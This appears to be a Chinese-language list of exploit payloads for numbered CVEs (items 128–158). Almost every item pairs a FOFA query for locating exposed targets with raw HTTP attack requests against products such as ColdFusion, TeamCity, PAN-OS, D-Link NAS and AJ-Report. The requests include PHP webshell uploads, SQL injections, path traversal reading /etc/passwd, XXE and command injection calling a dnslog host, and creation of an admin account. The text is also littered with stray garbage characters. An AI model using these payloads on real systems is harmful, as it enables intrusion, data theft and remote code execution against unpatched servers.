+ V# q/ F1 U2 ~( F1 B<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
2 J+ q3 ^5 i7 d>
<test>&t;</test>
) q9 T, a& b2 R& F; D; k6 V4 p+ X  [------WebKitFormBoundaryJGgV5l5ta05yAIe0--
/ n" h* o% N( q6 K2 w
  i0 Q8 z+ [8 i. ?; g' G
5 S  ^, I2 l) r( T. v+ ~
" e* w: i. m1 n( N+ M6 B128. Adobe ColdFusion 反序列化
. \; C% Z- r% s+ n2 F: ~CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
/ r: O5 s+ ^$ G5 TPAYLOAD
2 a, a2 J( o9 [7 U  Q; b+ n
* ]1 F4 ?' ?1 I" M& x129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
, e5 A3 e+ P' b, V1 T$ XFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
0 z$ m& s0 ?# L; e9 C/ m: K! w第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
2 Q# S- q7 v9 D. e. kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: G) A2 c$ r5 `. g- K, p, ~Accept: */*
Accept-Encoding: gzip, deflate
: p% A: G% G4 e- o* oConnection: close

+ @% Q+ m7 K1 O( ^
% J4 l- E6 A' {9 `: Y第二步，读取/etc/passwd文件
4 T8 Z. J1 q8 S) DGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
- p' ?9 I$ u" Q0 u  I" cHost: x.x.x.x
; F5 p: ~: ~0 Q& c! ]9 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: `$ |+ J: f+ p% fAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
7 y6 I& ], p/ _& y9 h
* Y$ l( c' t" Q. q5 {  t% R$ f
2 ~4 h) y1 o6 b* e9 p" U# Y9 s130. Laykefu客服系统任意文件上传
( a  G3 S* x0 r5 L$ HFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
+ n& b1 ~  r$ N: J( q$ `Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
( H. e6 z2 G# _1 u) y' LUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
8 Q9 ?$ V9 [, Z- G, cConnection: close

# Q& s9 X2 Y# V. P( C( s" @------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
  a$ \4 S# T! z$ Q( g2 S8 P$ [------WebKitFormBoundary3OCVBiwBVsNuB2kR--
! D% ]' |: p+ T/ _: G% Q& t9 U( Z
: @* U" U$ \4 w3 h0 p9 J- ]
6 a, k- ]8 h$ L* D! p6 w# ]% n& u9 N9 s131. Mini-Tmall <=20231017 SQL注入
3 Y0 D. @' }6 Q7 t# ?9 MFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
8 ?+ k' L  n$ @# Z+ Jhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
5 U- q/ P2 V5 _# q' u0 `FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
/ i# N: I8 w- Y1 R2 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
  D% p) K8 s$ }, S; ~6 g$ lContent-Type: application/json
Accept-Encoding: gzip, deflate

, H) J4 P: ?' }& r$ {; Y* e7 P{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

7 k+ U* H% H* s0 M
( z$ A1 J6 Z% JCVE-2024-27199
1 R3 d/ b& w" E2 s/ p) p/res/../admin/diagnostic.jsp
: H/ P5 Z0 ^5 s- C) J/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
5 j) }9 x9 f/ V# G8 ^

" {6 i5 F+ B& h  T1 K5 ]1 gCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
( A  b! K8 C" oFOFA：body="/public/qbsp.php"
3 H) E' V$ \; H( r4 M, l, a* jPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
) g- H, `4 A$ KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
6 s4 K; s2 S; i5 u- L7 m1 @5 F2 VContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


, B  x, O; r, E+ W' g. z7 O) P
6 ^  E0 i  M1 Z% Q  }, I134. 网康NS-ASG应用安全网关index.php sql注入
/ n8 |9 u8 q4 n3 q4 wCVE-2024-2330
1 m. K4 l$ [% R! M  V4 Y; u  f( ?Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
) K8 B8 c7 T. t! d& a4 c$ p! OPOST /protocol/index.php HTTP/1.1
; f3 H; {0 \3 A6 n5 GHost: x.x.x.x
5 {( U6 x" n" l; a8 JCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
  J6 \  y5 }+ O2 M, [; Q$ PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ i2 f( Q. r) J! [- UAccept-Encoding: gzip, deflate
" J8 @3 l& W4 I  [( q, \+ ?Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
$ W/ g! g& N6 c) o1 _& x% OSec-Fetch-Site: same-origin
/ D& S9 C5 I, n2 \6 h5 `8 DTe: trailers
' q* V# s' v7 a2 J. E3 n. ~5 ^& fConnection: close
$ G% F+ `3 h, q; z' |; \2 B: ?Content-Type: application/x-www-form-urlencoded
Content-Length: 263

$ _+ B0 @; ~( B( V% W. |jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
5 @( i4 p* W( T) A5 C

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
+ J; }) A9 E# {: CCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
: h7 Z$ ?2 u, v+ N. H) NFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
7 j1 h& F4 O3 F& aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 \" x$ E8 A# W% X' WAccept-Encoding: gzip, deflate
7 L: Q: L' z8 oAccept-Language: zh-CN,zh;q=0.9
Connection: close


136. NextChat cors SSRF
# f$ O& c- Q2 r. M/ c' pCVE-2023-49785
& G/ r8 e2 k; D6 \$ y8 {$ `" R, _FOFA：title="NextChat"
$ E3 w0 a2 ?' R  w* e* @$ \GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
! L( U. P: R, PHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
- u9 Q0 U5 y: x, Y5 O) Q) a9 i$ nAccept: */*
Accept-Language: en
$ g8 \. @5 A, `: |, _  `; mAccept-Encoding: gzip

5 k" o2 b' T9 `3 m
, h* T& K! B/ g2 @3 e. [" J: y9 V. P137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
+ K. K8 l: |1 V+ Y8 H( ^2 Y% k( vGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
. q* M8 U% W+ G, wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 {: c4 a. L: rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
4 D! i7 y$ |( L  U- i$ a7 p0 {Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
5 o& K) G) Q- q/ Z' z- GUpgrade-Insecure-Requests: 1

" p4 R8 \2 j& h
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% z* W& D$ d+ f4 f8 k  J+ z/ F0 v0 T0 EGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
7 \' @" Y. H) {5 V( `5 }Host: x.x.x.x
4 W! w7 z- F( S. ?/ GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ I  A# z  _  G# FAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

4 v# S2 I# e9 P: ]" v  ]3 h
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
1 ?2 N. z& T3 e" V. \" D7 I% oFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
& y6 t" H& r" c  s1 BGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
& D+ o+ z" y# i0 [5 U1 HHost: x.x.x.x
/ g6 H2 R: T% U) a! ?; GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 z. \/ J% h& \$ H4 a# l) b, KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" J. [. M$ b; S% d- KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
+ s0 K6 L- C% |; ^, ]Connection: close
* c+ _# S# |) JCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
2 w, D7 M' l( C0 T+ A2 o6 x4 C( eUpgrade-Insecure-Requests: 1
# s; w$ G+ ^5 S. h4 r. s

1 ~* |* p  b$ ~$ z3 s6 c140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
+ L; j' ~7 i" fCVE-2024-2566
) s; ]0 d- ^: W; S; g1 yFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
$ h- F" U5 f, S. E( hGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ h3 q3 g8 M3 H/ J$ yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 f% E/ V- d) s5 S  g0 MAccept-Encoding: gzip, deflate, br
  x! `# @* w- ?+ LConnection: close
Cookie: authcode=h8g9
% h4 H! o. s8 s$ W8 |. F) pUpgrade-Insecure-Requests: 1

0 ]/ F0 n7 A; n! D5 r& b& J! i
4 V; _9 }8 O* B1 g3 L141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
8 ]% r0 {( Q7 WFOFA：body="指挥调度管理平台"
7 X# x+ `# b9 LPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
: C5 A# H7 b. T- wUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
5 R1 H6 Q/ g' s4 D5 kContent-Type: application/x-www-form-urlencoded

: I) j/ U3 Y* L; B
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

. |# [; i1 S: v$ D
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
$ |  u6 p9 E1 _1 F$ [admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
, R, B( m. t  @& jCVE-2024-25850
FOFA：title='AP setup' && header='netis'
! j- }4 T% M! K# uPAYLOAD
. R" U% r$ J0 V8 F3 G, }# O
144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
, z  ?( N& m9 f$ Tsystem参数用于传要执行的命令
( c- D3 D3 r4 o, ]GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
( I8 y6 E" R& AAccept: */*
Accept-Language: en
Accept-Encoding: gzip


/ `4 E$ M; R. u( u0 f6 K/ U) `! e' o, G+ Q145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
5 W) l, H( `  x& F" ]; gGET /global-protect/login.esp HTTP/1.1
. |3 Y6 J" G) }- T& wHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
# V6 J9 D, ^& f) {( lCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

9 J% l% t& f; z7 D$ O
+ y) G# `1 p8 U* k146. MajorDoMo thumb.php 未授权远程代码执行
6 i1 D7 c5 C- R# F" n7 WCNVD-2024-02175
- Q) G: I1 A7 ^FOFA：app="MajordomoSL"
  P+ Q! ]5 y3 h9 ~% Y: OGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
# l/ \$ n: p" E/ E) ]  r  ~0 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
# j1 Y+ c9 f5 ^, T7 j) V# CAccept-Encoding: gzip, deflate
Connection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
! W( M) }! z2 o0 VGET /webeditor/../../../windows/win.ini HTTP/1.1
" `9 v& v" o* d3 T& S/ f; m8 q' ~Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close


" H) s7 P6 y7 w9 u148. CrushFTP 认证绕过模板注入
( T/ v" c3 A# ^5 |5 h8 H4 HCVE-2024-4040
FOFA：body="CrushFTP"
2 }: O4 \# T  p, F2 G  B, o2 pPAYLOAD

4 G4 x; l9 {4 i. c" `9 u149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

7 g, i2 A; `/ QPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ @6 I* O& s0 p9 n( PContent-Type: application/json;charset=UTF-8
/ d$ T0 [4 b7 |Connection: close
# Z2 i2 l$ n5 Q  I3 b  _0 L& L$ N8 A
+ T2 S; p$ W, X2 }; C{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
: B. \8 m) p1 t0 R- OFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
8 h9 X0 f. @! i+ jHost: x.x.x.x
; t- P0 @4 S% PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 b, i. u  D! W# bAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
" S: @% ?2 z7 f: M" n( QContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
" d' z. W& |2 u' V  d4 ^
! S& A4 e* d- N8 a9 r( @
, l) G( ^3 D% C+ R- F151. AJ-Report 1.4.1 pageList sql注入
) A1 d9 D7 |, m, zFOFA：title="AJ-Report"
8 B1 [6 h/ D7 j6 aGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

! r" @$ X$ Q! O1 y1 b
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
5 g0 Z( |' a8 `' V" d! sLoadMaster <= 7.2.48.10 (LTS)
; ^% B0 ~- r$ V: `4 o3 \FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
0 U- i/ C; q# o% A# T# ^Host: x.x.x.x
$ B; q6 I+ n3 Q/ {/ K' s$ D1 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
. K4 R3 I- p3 {Accept: */*
0 D' Q! ~1 e* s! c1 UAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
4 d# V& k! j' `1 b2 N9 w2 A0 oAccept-Encoding: gzip
+ g8 V- }. d1 y0 w9 w4 J4 @" S6 [0 \

; J, o$ {. E% `7 S153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
; Y: a. {7 C" X; a3 ^, c/ o+ Yhttp://x.x.x.x/config

' u+ a- F% p5 @. I) J# M
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
# F8 _  f6 j/ V' X7 S# }Connection: close
5 ]3 G. \, M& p# E7 H6 s6 a0 rContent-Length: 115
# f4 T; E1 O2 G* TContent-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
; }$ d! K6 |+ ^9 h7 U9 ^8 e: W1 S
) `2 h( A) A! A) b3 z4 `
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

# m1 L! m! M% Q, q" R
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
( w4 B1 _, J1 K1 c& GPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
2 i! F. T9 v& _9 E8 k, E2 \Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
' O* d) _: d+ }2 Q  h& ~/ [3 [Origin: http://x.x.x.x
Content-Type: application/json
# n  f1 m* P9 p. f' J1 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
( ~5 w4 v& W+ m; y( a( uAccept-Encoding: gzip, deflate
9 S# e% \7 S$ l- X  s$ D! ~% ?- hAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

" y0 J' M8 h3 S% f( [7 h
' M, s; f6 [; Q( S2 W2 ^155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
, b2 B- K0 Q- q% Q- F; U# v; UPOST /include/file.php HTTP/1.1
5 z6 }5 S& b: k4 ~8 T4 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
" J( O! O) d1 A) R  ^Connection: close
! Z8 A* d) O6 xContent-Length: 232
8 c; T2 z& x8 n; X2 nAccept: application/json, text/javascript, */*; q=0.01
- x  ^3 y0 h/ N( l) IAccept-Encoding: gzip, deflate, br
* M, M: N& |4 u% C. c2 D/ ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

) U; `7 s0 T0 I4 D: ?-----------------------------qttl7vemrsold314zg0f
$ [3 `5 M- {  G$ F$ \Content-Disposition: form-data; name="file"; filename="test.php"
- u7 x: A# |" P9 QContent-Type: image/png
) P1 ~) u- y2 s. H9 v! \+ S. s' r: }
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

7 i, ^0 j2 a! L; x- K1 R) W- Z8 J
  l4 {: R. V7 r访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
- x3 C1 z) v, @
6 R8 Z7 b0 a% v  V$ H3 d, w, o156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
( @+ C% O6 Y0 E2 MFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
5 o. ~/ O  v8 j6 ]9 Gcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
9 }7 X' C% f& Y* Z9 m

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
6 V6 C2 K9 W& ^7 A' I1 N, B& kUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, T1 N, [" i! R: b: w% Q* V7 b! `' o4 nConnection: close
/ X1 o. d; J  R2 I0 H# M4 ]Content-Length: 0
2 y4 G& U* l3 w( C) i1 QCookie: uid=1
Accept-Encoding: gzip


; B0 b+ R0 [7 g) s" K- [! a157. 美特CRM upload.jsp 任意文件上传
8 H' r- P; ?/ b9 _- c" \4 QCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
" i7 b" ~4 x$ r4 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
( m8 h5 t/ C" Z" j* E- SContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
1 G: m& Q, N9 [  w; n: {% sContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

' m$ H* H% {; u8 G9 D( Nnyhelxrutzwhrsvsrafb
* C7 t8 D% G) R  ]' h------WebKitFormBoundary1imovELzPsfzp5dN
3 |2 x, E9 G1 \" u" ^Content-Disposition: form-data; name="key"

& c$ o4 H2 [4 S. ~; Jnull
4 Q, P# u- _: w------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
( ]' v/ ]5 y6 O. ?% z5 yContent-Disposition: form-data; name="filetitile"
6 G$ F. l! W. O% A! [: r
$ O4 s' F2 H. O$ h/ h: b# z$ q9 A% @/ \null
3 j4 Q( S! r; _1 E7 o------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
) {/ \5 u& T  X
- K: ~+ X' i- y2 W/ Nnull
------WebKitFormBoundary1imovELzPsfzp5dN--
( F) L0 G( `2 H, `+ E) P
7 n; R! C/ S- a* P, X7 ^- f' c2 p& y/ {
9 @) f- ]/ b  ], ]http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
& m; j; T+ _5 z2 p3 `: b6 D( h0 B& Z
- z, e# y/ T) w6 B$ Y158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
8 L: Q9 B5 N+ w! BFOFA："Generator: Masa CMS"
2 K4 H5 o; h9 _8 O- o- ^POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
- c$ L8 Q( k9 ]7 d8 nHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2 \: l- g9 o% J" c
8 F- Y8 `! }# V& W9 Iobject=displayregion&contenthistid=x\'&previewid=1

2 y5 H3 k7 f- C' t: x- L! N
